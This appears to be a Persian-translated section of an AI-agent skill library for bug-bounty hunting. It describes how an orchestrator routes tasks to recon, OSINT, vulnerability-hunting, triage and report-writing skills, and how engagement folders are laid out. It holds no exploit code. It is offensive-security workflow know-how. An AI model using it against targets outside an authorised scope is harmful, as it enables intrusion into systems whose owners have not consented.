۷۳

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۷۳ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • bb-methodology — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; bb-methodology is the 5-phase workflow it routes to. Load bb-methodology FIRST, then this skill names the topic-matched hunt-* skills.
  • hunt-dispatch — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to hunt-dispatch for the platform fingerprint + skill-set load.
  • web2-recon + offensive-osint — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to web2-recon and the operational arsenal (probes / wordlists / regexes) to offensive-osint.
  • triage-validation + report-writing — When a finding completes Phase 4. Workflow primitive: this skill routes to triage-validation (7Q gate) → only if all 7 pass, hand off to report-writing for the platform-specific body.

مراحل استخراج‌شده
  1. ۱`bb-methodology` — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; `bb-methodology` is the 5-phase workflow it routes to. Load `bb-methodology` FIRST, then this skill names the topic-matched hunt-* skills.
  2. ۲`hunt-dispatch` — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to `hunt-dispatch` for the platform fingerprint + skill-set load.
  3. ۳`web2-recon` + `offensive-osint` — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to `web2-recon` and the operational arsenal (probes / wordlists / regexes) to `offensive-osint`.
  4. ۴`triage-validation` + `report-writing` — When a finding completes Phase 4. Workflow primitive: this skill routes to `triage-validation` (7Q gate) → only if all 7 pass, hand off to `report-writing` for the platform-specific body.
۷۴

ابزار و نکات عملیاتی

Operator Notes (Claude-BugHunter)
ترجمه‌ی کامل ✓بخش ۷۴ از ۷۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏افزوده‌های مشتق‌شده-از-engagement روی بنیان vendored. ‏حکمت از
‏engagementهای authorised واقعی + ‏verification مربوط به فاز ۲ در سراسر +۳۱
‏تست زنده‌ی ناحیه‌ی-اسکیل این repo. ‏متدولوژی upstream مقدار WHAT را پوشش می‌دهد؛ ‏این
‏لایه مقدار کی-واقعاً-کار-می‌کند و حالت‌های-شکست را پوشش می‌دهد.
‏‏کی از ارکستراتور در برابر اسکیل مستقیم استفاده کنی

‏ارکستراتور ‏(این اسکیل) برای حالت «هنوز نمی‌دانم چه کلاس باگی hunt کنم» است. ‏اگر کاندید را قبلاً شناسایی کرده‌ای — «پاسخ هدر Host مرا داخل URL مربوط به src مربوط به JavaScript منعکس می‌کند، ‏آن مسمومیت cache است» — مستقیم hunt-cache-poisoning را لود کن. ‏ارزش ارکستراتور مسیریابی اولیه از intent فازی ‏(«یک chatbot هست، ‏چه تست کنم») به مجموعه‌ی اسکیل عینی ‏(hunt-llm-ai + ‏hunt-api-misconfig) است.

‏در تردید: ‏اول ارکستراتور را روی هر هدف جدید باز کن، ‏بگذار route کند، ‏بعد ارکستراتور را ببند و در اسکیل‌های لودشده کار کن. ‏ارکستراتور را کل session لود نگه ندار — ‏پنجره‌ی بافتی را اشغال می‌کند که می‌توانست نتایج پروب واقعی را نگه دارد.

‏‏سوء‌استفاده‌ی رایج: ‏لود هم‌زمان همه‌ی hunt-*

‏+۳۰ اسکیل hunt- در این repo هست. ‏هرکدام footprint بافتی غیرجزیی دارند. ‏کار ارکستراتور انتخاب ۲-۳ تا بر اساس match موضوعی است، ‏نه dump کل کتابخانه. ‏اگر کاربر می‌گوید «این اپ SaaS را hunt کن»، ‏هر اسکیل hunt- را لود نکن — ‏‏web2-recon + ‏hunt-idor + ‏hunt-api-misconfig را انتخاب کن ‏(سه‌تایی معمول-SaaS) و همان‌جا توقف کن. ‏فقط وقتی بیشتر اضافه کن که خروجی recon کلاس اضافی مشخصی پیشنهاد کند ‏(مثلاً endpointهای GraphQL پیدا شد ← ‏‏hunt-graphql را اضافه کن).

‏‏یکپارچگی با hunt-dispatch

‏این اسکیل بر اساس کلاس باگ route می‌کند ‏(match موضوعی). ‏اسکیل hunt-dispatch افزوده‌شده در این repo بر اساس mode مربوط به engagement route می‌کند ‏(red-team در برابر WAPT، ‏blackbox در برابر greybox). ‏ترکیب می‌شوند:

  1. ‏کاربر می‌گوید «example.com را hunt کن»
  2. ‏‏bb-methodology PART 0 مقدار mode را تأیید می‌کند ‏(مثلاً bug-bounty blackbox)
  3. ‏‏hunt-dispatch پروفایل حمله‌ی مخصوص-پلتفرم را لود می‌کند
  4. ‏این ارکستراتور ‏(bug-bounty) اسکیل‌های hunt-* مربوط به topic-match را داخل پروفایل انتخاب‌شده نام می‌برد

‏هیچ‌کدام از گام‌ها را دور نزن. ‏‏mode تعیین می‌کند چه چیزی یافته حساب می‌شود؛ ‏موضوع تعیین می‌کند چه تکنیک‌هایی اعمال می‌شوند.

‏‏اسکفولدینگ engagement

‏‏command مربوط به /hunt و helper مربوط به hunt <target> ‏(دایرکتوری cmd/ این repo را ببین) اسکفولد engagement را پیش-می‌سازند:

  • ‏‏targets/<target>/scope.md — ‏scope اعلام‌شده، ‏از صفحه‌ی برنامه paste‌شده
  • ‏‏targets/<target>/findings/ — ‏یک MD per یافته‌ی وریفای‌شده
  • ‏‏targets/<target>/evidence/ — ‏HARها، ‏اسکرین‌شات‌ها، ‏رونوشت‌های پاک‌شده‌ی curl
  • ‏‏targets/<target>/submissions.txt — ‏لاگ URLها + ‏stateهای گزارش‌های سابمیت‌شده